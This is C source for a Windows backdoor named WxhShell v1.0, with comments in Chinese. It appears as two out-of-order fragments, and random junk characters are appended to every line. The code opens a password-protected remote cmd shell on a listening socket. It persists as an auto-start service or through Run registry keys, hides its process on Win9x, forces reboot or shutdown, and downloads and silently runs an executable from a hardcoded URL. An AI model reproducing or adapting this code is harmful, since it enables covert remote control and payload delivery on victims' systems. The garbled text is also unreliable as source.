    if(Boot(SHUTDOWN)) VVl-cU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NWK_(=n  
    else { ,x.)L=Cx8  
    closesocket(wsh); A_|FsQ6$P  
    ExitThread(0); ta., 4R&K  
    }  F]#fl%  
    break; gSYX@'Q!  
    } h18y?e7MU  
  // 获取shell U/o}{,$A  
  case 's': { !r0P\  
    CmdShell(wsh); @0'|Uygn  
    closesocket(wsh); V <pjR@  
    ExitThread(0); pPp nO  
    break; Lta\AN!c  
  } ye2Oh7  
  // 退出 )1 j2  
  case 'x': { M6#(F7hB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [`\Qte%UH  
    CloseIt(wsh); 'FFc"lqj  
    break; :K:gyVrC  
    } .Kwl8xRg  
  // 离开 (C@@e'e  
  case 'q': { htym4\Z=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rapca'&#  
    closesocket(wsh); Uk\U*\.  
    WSACleanup(); :q1r2&ne  
    exit(1); $7d"9s\$"  
    break; $u"$mg7x  
        } ??V["o T  
  } #?6RoFgMe  
  } 0+pJv0u  
.9Fm>e+!C  
  // 提示信息 ZE` {J =,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c iX2G  
} P,_E 4y  
  } 1hij4m$b  
a"aV&t  
  return; `,d7_#9'  
} ayp}TYh*  
cyNLeg+O*  
// shell模块句柄 musxX58%  
int CmdShell(SOCKET sock) Zh^w)}(W  
{ }L9j`17  
STARTUPINFO si; `Cxe`w4  
ZeroMemory(&si,sizeof(si)); o w[qpP[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p]4 sN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3IFU{0a`  
PROCESS_INFORMATION ProcessInfo; UI;{3Bn  
char cmdline[]="cmd"; =YIQ _,{u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hp!F?J7sx  
  return 0; P7-3Vf_L  
} IhLfuyFWu  
0aWb s$FyU  
// 自身启动模式 Q,`kfxA`O  
int StartFromService(void) `f]O  
{ CI{x/ e^(  
typedef struct GNOC5 E$I  
{ O]lfs >>x  
  DWORD ExitStatus; nT"z(\i.!J  
  DWORD PebBaseAddress; {+Yo&F}n  
  DWORD AffinityMask; Dy!fwYPA/{  
  DWORD BasePriority; }}_l@5  
  ULONG UniqueProcessId; &)-?=M  
  ULONG InheritedFromUniqueProcessId; H #_Z6J  
}   PROCESS_BASIC_INFORMATION; 7l3q~dQ  
G2D<LRWt4  
PROCNTQSIP NtQueryInformationProcess; $ cSZX#\  
n4johV.#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?f..N,s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kq$1lPI  
N=9lA0y+  
  HANDLE             hProcess; Cq~Ir*"  
  PROCESS_BASIC_INFORMATION pbi; 6bba}P  
LKcrr;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @HI5; z  
  if(NULL == hInst ) return 0; }R$%MU5::  
plfB} p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sa*-B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gj3/&'k6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'Iu(lpF&  
*OiHrI9y  
  if (!NtQueryInformationProcess) return 0; 0 i"OG( ,  
Xl;N= fc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?*,q#ZkA9W  
  if(!hProcess) return 0; ^MUM04l  
:%{7Q$Xv<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kl?1)u3^4  
ikQ2x]Sp  
  CloseHandle(hProcess); rNc>1}DDS  
2lRZ/xaF%P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {y'k wU  
if(hProcess==NULL) return 0; d@hJ=-4  
?3#X5WT  
HMODULE hMod; srL,9)O C  
char procName[255]; STe;Sr&p  
unsigned long cbNeeded; AI2CfH#:C  
V 6F,X`7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TL>e[ PBO  
_qV_(TpS+  
  CloseHandle(hProcess); V QI7lJV"  
Dg`W{oj  
if(strstr(procName,"services")) return 1; // 以服务启动 Cb.Aw!  
fJuJ#MX{:  
  return 0; // 注册表启动 ( C&f~U  
} R<-KXT9  
&3<]FK  
// 主模块 &!ZpBR(  
int StartWxhshell(LPSTR lpCmdLine) M:x(_Lu  
{ v;S JgZK  
  SOCKET wsl; i+}M#Y-O  
BOOL val=TRUE; 6%TV X  
  int port=0; v&Kw 3!X#E  
  struct sockaddr_in door; eC?N>wHH  
/1*\*<cs  
  if(wscfg.ws_autoins) Install(); ":OXs9Yg  
5zU$_M  
port=atoi(lpCmdLine); 9V~yK?  
-UO$$)Q  
if(port<=0) port=wscfg.ws_port; 2sngi@\  
P+[R0QS  
  WSADATA data; 8MIHp[vm%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a^BD55d?  
T~la,>p|}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c}A^0,"z>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TO<g@u]*  
  door.sin_family = AF_INET; VuGSP]$q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YpJzRm{Ra  
  door.sin_port = htons(port); Hogr#Sn2  
< javZJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y3?kj@T`i  
closesocket(wsl); %Xn)$Ti ~<  
return 1; N}\i!YUD  
} NJ.kT uk  
=$MV3]  
  if(listen(wsl,2) == INVALID_SOCKET) { /9sUp} *  
closesocket(wsl); m35G;  
return 1; )j](_kvK  
} V%))%?3x_  
  Wxhshell(wsl); @ B+];lr/-  
  WSACleanup(); I8m(p+Z=  
/Mv'fich(  
return 0;  m{~r6@  
YV+e];s  
} >Q YxX<W  
@I%m}>4Jm  
// 以NT服务方式启动 b+kb7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X:YxsZQ 5Y  
{ E>&dG:3no  
DWORD   status = 0; q;rU}hAzG0  
  DWORD   specificError = 0xfffffff; ^VA)vLj@  
_QQO&0Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =&vV$UtV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %BL+'&q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4WLB,<b}  
  serviceStatus.dwWin32ExitCode     = 0; /SyiJCx0  
  serviceStatus.dwServiceSpecificExitCode = 0; s;bqUY?LD  
  serviceStatus.dwCheckPoint       = 0; @^%# ]x,:  
  serviceStatus.dwWaitHint       = 0; _b+3;Dy  
t<4+CC2H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K~uoZ~_gA  
  if (hServiceStatusHandle==0) return; *Nv<,Br,F  
1Z`zdZs  
status = GetLastError(); !$j'F?2 >  
  if (status!=NO_ERROR) \!_ >ul  
{ MD%86m{Sg=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 56fcifXz@  
    serviceStatus.dwCheckPoint       = 0; >d =k-d  
    serviceStatus.dwWaitHint       = 0; !+i  
    serviceStatus.dwWin32ExitCode     = status; {9(N?\S1`a  
    serviceStatus.dwServiceSpecificExitCode = specificError; o^Ms(?K%t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E5B:79BGO  
    return; W)KV"A3C  
  } 8$1<N  
8E D6C"6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wuPx6hCl  
  serviceStatus.dwCheckPoint       = 0; \5Hfe;ny-~  
  serviceStatus.dwWaitHint       = 0; +?%huJYK,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C@xh$(y  
} 86[T BX5'  
TtHqdKL  
// 处理NT服务事件,比如:启动、停止 o_?YYw-:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -q[?,h  
{ J 9z\ qTI  
switch(fdwControl) bEM-^SR  
{ h 9No'!'!  
case SERVICE_CONTROL_STOP: j#29L"  
  serviceStatus.dwWin32ExitCode = 0; gP`8hNwR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vuHqOAFNs  
  serviceStatus.dwCheckPoint   = 0; m/<7FU8  
  serviceStatus.dwWaitHint     = 0; ,2"-G";!f\  
  { k5((@[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Kfh:0Ihhy  
  } Q~nc:eWD  
  return; 9mr99 tA  
case SERVICE_CONTROL_PAUSE: }=NjFK_6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lV3\5AEW  
  break; XJ.vj+XXb  
case SERVICE_CONTROL_CONTINUE: z`lDD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wfp[)MM;  
  break; L\pe  
case SERVICE_CONTROL_INTERROGATE: iJU]|t  
  break; 60Y&)UR  
}; k<m{Wp;-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Kp2l<P  
} OXI.>9  
oGa8}Vtc  
// 标准应用程序主函数 8@Pv nOL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3#W>  
{ 2-FL&DE  
;:f.a(~c  
// 获取操作系统版本 ;8H m#p7,  
OsIsNt=GetOsVer(); 7&E3d P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %6L{Z*(  
,'[0tl}8K  
  // 从命令行安装 OQA}+XO  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fe}Dnv)}Z  
!M6*A1g5  
  // 下载执行文件 %+qD-{&  
if(wscfg.ws_downexe) { "d9"Md0k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LJ9^:U  
  WinExec(wscfg.ws_filenam,SW_HIDE); }5\F<b^@Y  
} (z#qkKL{^  
y^?7de}  
if(!OsIsNt) { Z%k)'%_   
// 如果时win9x,隐藏进程并且设置为注册表启动 p1q"[)WVn^  
HideProc(); Bi9 S1 p  
StartWxhshell(lpCmdLine); ,..&j+m  
} YRqIC -_  
else }O-|b#Q  
  if(StartFromService()) `J#(ffo-  
  // 以服务方式启动 7?xTJN)G  
  StartServiceCtrlDispatcher(DispatchTable); rUR{MF&]D  
else O$+0 .  
  // 普通方式启动 > T=($:n  
  StartWxhshell(lpCmdLine); vdV@G`)HPr  
Z  G3u  
return 0; xx_]e4  
} g?qm >X  
pO[ @2tF  
x[zt(kC0+  
D:4Iex9$F"  
=========================================== P;C3{>G9  
h,"K+$  
LY(YgqL  
W{<_gD9  
&]iiBp#2  
r3*0`Rup  
" -A^18r  
VyK[*k yN  
#include <stdio.h> j#rjYiYKy  
#include <string.h> /I(IT=kp  
#include <windows.h> Yj;KKgk  
#include <winsock2.h> ~dg7c{o5  
#include <winsvc.h> ],V_"\ATD  
#include <urlmon.h> OrNi<TY>  
~bC{ R&p  
#pragma comment (lib, "Ws2_32.lib") @m[q0G}  
#pragma comment (lib, "urlmon.lib") kaq H.e(  
jvv3;lWDL.  
#define MAX_USER   100 // 最大客户端连接数 `7[z%cuK  
#define BUF_SOCK   200 // sock buffer V.?N29CA|  
#define KEY_BUFF   255 // 输入 buffer |uf{:U)  
xM"k qRZ  
#define REBOOT     0   // 重启 >)\x\e  
#define SHUTDOWN   1   // 关机 m^I+>Bp/:  
ZCVwQ#Xe+  
#define DEF_PORT   5000 // 监听端口 )RG@D\t,  
0]p! Bscaf  
#define REG_LEN     16   // 注册表键长度 p=sL KnLmZ  
#define SVC_LEN     80   // NT服务名长度 +uZ,}J  
]?tC+UKb  
// 从dll定义API e=e^;K4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O/ Yz6VQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9.)*z-f$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z]OXitt7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z<jio  
QhR.8iS  
// wxhshell配置信息 'RZ=A+%X  
struct WSCFG {  3 c #oK  
  int ws_port;         // 监听端口 >zx]% W  
  char ws_passstr[REG_LEN]; // 口令 <+o*"z\mI  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1$mxMXNsJ  
  char ws_regname[REG_LEN]; // 注册表键名 Ad$CHx-  
  char ws_svcname[REG_LEN]; // 服务名 <?yf<G'$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dp;;20z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IsP-[0it  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J8IdQ:4^l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P5-1z&9O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0se0AcrW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `TwDR6&  
~0/tU#&  
}; RI.6.f1dy  
;J [ed>v;3  
// default Wxhshell configuration /q[5-96c  
struct WSCFG wscfg={DEF_PORT, <j\osw1R  
    "xuhuanlingzhe", max 5s$@  
    1, TNun)0p  
    "Wxhshell", +pMa-{  
    "Wxhshell", Zfwhg4G~  
            "WxhShell Service", vfBIQfH  
    "Wrsky Windows CmdShell Service", F9h'.{@d  
    "Please Input Your Password: ", J5Pi"U$FkY  
  1, &ed&2t`Y  
  "http://www.wrsky.com/wxhshell.exe", bT93R8yp  
  "Wxhshell.exe" ' b?' u  
    }; Em6P6D>S>,  
vl}fC@%WRI  
// 消息定义模块 TEB<ia3+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bzj9U>eY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DPV>2' fV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XL=Y~7b  
char *msg_ws_ext="\n\rExit."; f[r?J/;P9  
char *msg_ws_end="\n\rQuit."; F/8="dM  
char *msg_ws_boot="\n\rReboot..."; +ftOJFkI  
char *msg_ws_poff="\n\rShutdown..."; Hg[g{A_G[  
char *msg_ws_down="\n\rSave to "; NWL\"xp `t  
4 H 4W  
char *msg_ws_err="\n\rErr!"; "!w$7|% T  
char *msg_ws_ok="\n\rOK!"; R{6~7<m.  
Ei$?]~ &  
char ExeFile[MAX_PATH]; $4YyZ!_.@  
int nUser = 0; _T\/kJ)Q\  
HANDLE handles[MAX_USER]; ^v2-"mX<  
int OsIsNt; AlPk o($E*  
y&A0}>a:d  
SERVICE_STATUS       serviceStatus; oY NIJXln  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KH=4A-e,0  
hKx*V"7/#\  
// 函数声明 _.}1 Y,Q  
int Install(void); :2v^pg|  
int Uninstall(void); c qWX*&2_  
int DownloadFile(char *sURL, SOCKET wsh); S<Rl?El<=  
int Boot(int flag); 'J[ n}r  
void HideProc(void); rHSA5.[1P  
int GetOsVer(void); %1JN%  
int Wxhshell(SOCKET wsl); @'5*u~M  
void TalkWithClient(void *cs); p*LG Y+  
int CmdShell(SOCKET sock); l(Y U9dp  
int StartFromService(void); 4k7 LM]  
int StartWxhshell(LPSTR lpCmdLine); fS@V`"O6  
PJ$C$G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !\'NBq,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KCDbE6  
LA +BH_t&  
// 数据结构和表定义 76'@}wNnw  
SERVICE_TABLE_ENTRY DispatchTable[] = =P}BAJ  
{ E: 7R>.g  
{wscfg.ws_svcname, NTServiceMain}, mQ$a^28=qR  
{NULL, NULL} l^~E+F~  
}; \jR('5DcB  
r0Cc0TMdj  
// 自我安装 II,snRD  
int Install(void) b '9L}q2m  
{ 9e aqq  
  char svExeFile[MAX_PATH]; n "J+? ~9  
  HKEY key; !EwL"4pPw  
  strcpy(svExeFile,ExeFile); :Qc[>:N  
@3aI7U/I  
// 如果是win9x系统,修改注册表设为自启动 NP+*L|-;  
if(!OsIsNt) { C<G`wXlP|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M= ]]kJ:I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &x mYpQ  
  RegCloseKey(key); \h{M\bSIEa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BH;7CK=7R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ZxFL$<'3  
  RegCloseKey(key); Y-ZTv(<  
  return 0; Bu{1^g:  
    } X:/Y^Xu  
  } 6he (v  
} G+k~k/D6  
else { 1s"/R  
R3dt-v  
// 如果是NT以上系统,安装为系统服务 asj*/eC$/i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )ZHo7X  
if (schSCManager!=0)  ?|$IZ9  
{ `i"7; _HoV  
  SC_HANDLE schService = CreateService $~G=Hcl9  
  ( n[f<]4<  
  schSCManager, IncHY?ud<  
  wscfg.ws_svcname, }#bX{?f  
  wscfg.ws_svcdisp, H)5V \  
  SERVICE_ALL_ACCESS, MJ% gF=$X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {>]7xTpwZ  
  SERVICE_AUTO_START,  "d3qUk  
  SERVICE_ERROR_NORMAL, Shag4-*@hi  
  svExeFile, v:xfGA nP  
  NULL, ^_0l(ke  
  NULL, Cju%CE3a  
  NULL, Jx-dWfe  
  NULL, ", Ge:\TR=  
  NULL uG:xd0X+W  
  ); 9$iDK$%  
  if (schService!=0) $%GW~|S\C  
  { p$+.]  
  CloseServiceHandle(schService); naaww  
  CloseServiceHandle(schSCManager); Fx]}<IudA^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7%7 \2!0J}  
  strcat(svExeFile,wscfg.ws_svcname); y]YUuJ9a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PKK18E}{%^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %=G*{mK  
  RegCloseKey(key); 15)y]N={^  
  return 0; lDU@Q(V#}<  
    } ==^9_a^  
  } +`p@md2L1  
  CloseServiceHandle(schSCManager); rL9u7) x  
} s.{nxk.  
} 2$@N4  
H6Dw5vG"l  
return 1; ]N#%exBVo  
} 4xl}kmvv  
jjTb:Z=.'  
// 自我卸载 q"OJF'>w5  
int Uninstall(void) }iBFo\vU  
{ #CcC& I :c  
  HKEY key; w1q`  
e^ ZxU/e  
if(!OsIsNt) { %]iE(!>3oy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,JVWn>s  
  RegDeleteValue(key,wscfg.ws_regname); AzlZe\V?)~  
  RegCloseKey(key); um}%<Cy[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O&vE 5%x  
  RegDeleteValue(key,wscfg.ws_regname); gd=gc<zYP  
  RegCloseKey(key); a}#8n^2  
  return 0; D>>?8a  
  } rd\:.  
} iQ7S*s+l5O  
} 56JvF*hP  
else { G Ch]5\  
-&UP[Mq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); []#>r k~  
if (schSCManager!=0) =TcT`](o  
{ y<0RgG1qp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NJqjW  
  if (schService!=0) L2$`S'UW  
  { BnwYyh  
  if(DeleteService(schService)!=0) { or)v:4PXW  
  CloseServiceHandle(schService); ^v+3qm@,  
  CloseServiceHandle(schSCManager); M&q3xo"w  
  return 0; W81 dLeTZg  
  } grWmF3c#  
  CloseServiceHandle(schService); w /l\p3n  
  } k&dLg5O  
  CloseServiceHandle(schSCManager); !STa}wl  
} %jc"s\  
} ROWrkJI>i  
E{B8+T:3  
return 1; Zp'q;h_  
} K>_~zWnc  
&'{?Y;A  
// 从指定url下载文件 c1>:|D7w  
int DownloadFile(char *sURL, SOCKET wsh) eCfy'US;@3  
{ W}0cM9 g  
  HRESULT hr; ~REP@!\r^  
char seps[]= "/";  =o? Q0  
char *token; mQiVTIP3[O  
char *file; ]?"1FSu-8r  
char myURL[MAX_PATH]; +.Cx.Nf(  
char myFILE[MAX_PATH]; >v9@p7Dn  
%'`L+y  
strcpy(myURL,sURL); Xpp%j  
  token=strtok(myURL,seps); E,EpzB$_dj  
  while(token!=NULL) 873'=m&  
  { tY>_ +)oi  
    file=token; g6V>_|  
  token=strtok(NULL,seps); x } X1 O)  
  } )/4xR]  
8F(Vd99I  
GetCurrentDirectory(MAX_PATH,myFILE);  >M-ZjT>  
strcat(myFILE, "\\"); 8RE"xJMff  
strcat(myFILE, file); Q(0eq_X|6  
  send(wsh,myFILE,strlen(myFILE),0); N |nZf5{  
send(wsh,"...",3,0); +[C><uP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $ytlj1.  
  if(hr==S_OK) c'Mi9,q  
return 0; bayDdR4T  
else E!SxO~  
return 1; g71|t7Q  
16Gp nb  
} 1*vt\,G  
wB0K e  
// 系统电源模块 >/eV4ma"  
int Boot(int flag) EDAVU  
{ y%NZ(Y,v  
  HANDLE hToken; =T3O;i  
  TOKEN_PRIVILEGES tkp; p+7ZGB  
k}tT l 2  
  if(OsIsNt) { "H"4]m1Wc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YgfQ{3^I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iLR^V!  
    tkp.PrivilegeCount = 1; PEIf)**0N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,lUr[xzV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z?AX  
if(flag==REBOOT) { bzh`s<+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]Ac&h aAP  
  return 0; -!JnyD   
} \Ng|bWR>LQ  
else { gPYF2m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %`b %TH^  
  return 0; XI8rU)q  
} ]%I}hj J  
  } Oqy&V&-C  
  else { eABLBsx  
if(flag==REBOOT) { ^}\!Sn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '"~ 2xiin  
  return 0; U|!L{+F  
} WAWy3i  
else { \&Bvh4Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) stcbM  
  return 0; d|Q_Z@;JF  
} 530Z>q  
} !W?6,i-]  
=bDy :yY}  
return 1; }2CVA.Qm!  
} Th%2pwvER  
OEwKT7CX  
// win9x进程隐藏模块 T#:n7$M|?A  
void HideProc(void) .e|VW)  
{ f.X<Mo   
e/* T,ZJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8"5^mj  
  if ( hKernel != NULL ) hErO.ad1o  
  { ImZ!8#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !GL kAV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n$z+g>~N  
    FreeLibrary(hKernel); BL?Bl&p(  
  } s4uYp  
>56I`[)  
return; }US^GEs(  
} "PhP1;A9,  
xfsf  
// 获取操作系统版本 kH9P(`;Vq  
int GetOsVer(void) .*_uXQ  
{ B!X;T9^d  
  OSVERSIONINFO winfo; F\U^-/0,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,ag:w<km  
  GetVersionEx(&winfo); CpG]g>]L&[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =MCQNyf+  
  return 1; pjVF^gv,*  
  else ICxj$b  
  return 0; ,Q>Rt V  
} E Qn4+  
,y%4QvG7a  
// 客户端句柄模块 :K]&rGi,  
int Wxhshell(SOCKET wsl) <{xU.zp'  
{ zFpM\{`[g  
  SOCKET wsh; G:k]tZ*`  
  struct sockaddr_in client; ugT;NB  
  DWORD myID; $ &III  
{P[>B}'rW  
  while(nUser<MAX_USER) hI Q 2s  
{ |2'u@<(Z/  
  int nSize=sizeof(client); q` Z_Bw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F\lnG  
  if(wsh==INVALID_SOCKET) return 1; Rx,Qw> #  
<[W41{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -<MA\iSP  
if(handles[nUser]==0) QgZ`~  
  closesocket(wsh); Iq%f*Zm<  
else FWu[{X;  
  nUser++; T|fmO<e*n  
  } :e|[gEA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :1/K$A)^{  
kafRuO~$  
  return 0; d=J$H<  
} QhqXd  
V% PeZ.Xv  
// 关闭 socket dd{pF\a  
void CloseIt(SOCKET wsh) oI2YJ2?Je8  
{ t!S ja  
closesocket(wsh); fVJsVZ"6v`  
nUser--; zVL"$ )  
ExitThread(0); 9f/RD?(1O  
} U|2*.''+Q  
%; 0l1X  
// 客户端请求句柄 I]dt1iXu_{  
void TalkWithClient(void *cs)  I0v$3BQ4  
{ .>A`FqV$~+  
d@u)'AY%/  
  SOCKET wsh=(SOCKET)cs; +dB/SC-^U  
  char pwd[SVC_LEN]; =!pfgE  
  char cmd[KEY_BUFF]; 7=e!k-G  
char chr[1]; HXY,e$c#y  
int i,j; [->uDbtzL  
%n7mN])  
  while (nUser < MAX_USER) { )08mG_&atL  
bU+ z(Eg6  
if(wscfg.ws_passstr) { 1_Ag:> #X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z6Kw'3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C~PoC'"q  
  //ZeroMemory(pwd,KEY_BUFF); b{WEux{)  
      i=0; Gs7#W:e7  
  while(i<SVC_LEN) { Ivdg1X  
%8N=4vTJ  
  // 设置超时 _Vj uQ  
  fd_set FdRead; Ait3KIJ9  
  struct timeval TimeOut; k 6)ThIG  
  FD_ZERO(&FdRead); O,>`#?  
  FD_SET(wsh,&FdRead); [LcHO] _^M  
  TimeOut.tv_sec=8; =%UX"K`  
  TimeOut.tv_usec=0; $&>z`bAS>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %?`TyVt&0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `tZ-8f  
_t+.I9kQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "h>B`S  
  pwd=chr[0]; `VB]4i}u  
  if(chr[0]==0xd || chr[0]==0xa) { EoOB0zo}Y+  
  pwd=0; `fA|])3T  
  break; &-s/F`  
  } X?Yp=%%  
  i++; 1`;,_>8  
    } 5*he  
ecjjCt2S  
  // 如果是非法用户,关闭 socket 9N?BWv }  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DQ a0S7I  
}  a1p}y2  
{Al}a`da  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _r6aLm2n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8&0+Az"{O  
>gqd y*Bg  
while(1) { %%=PpKYtSD  
l_`DQ8L`  
  ZeroMemory(cmd,KEY_BUFF); $u`v k|\R  
4z$}e-  
      // 自动支持客户端 telnet标准   yhBf%m  
  j=0; a/(IvOy#6  
  while(j<KEY_BUFF) { /%'>?8/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @&7|Laa  
  cmd[j]=chr[0]; U <|h4'(@L  
  if(chr[0]==0xa || chr[0]==0xd) { P<1ZpL  
  cmd[j]=0; }/{G  
  break; BRu/pyxG  
  } mF|7:zSo  
  j++; [nBdq"K  
    } !x, ;&  
v;r!rZX  
  // 下载文件 mnwYv..ePz  
  if(strstr(cmd,"http://")) { LZ"yMnhOf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W%)uKQha  
  if(DownloadFile(cmd,wsh)) gp/_# QVWC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8LH"j(H  
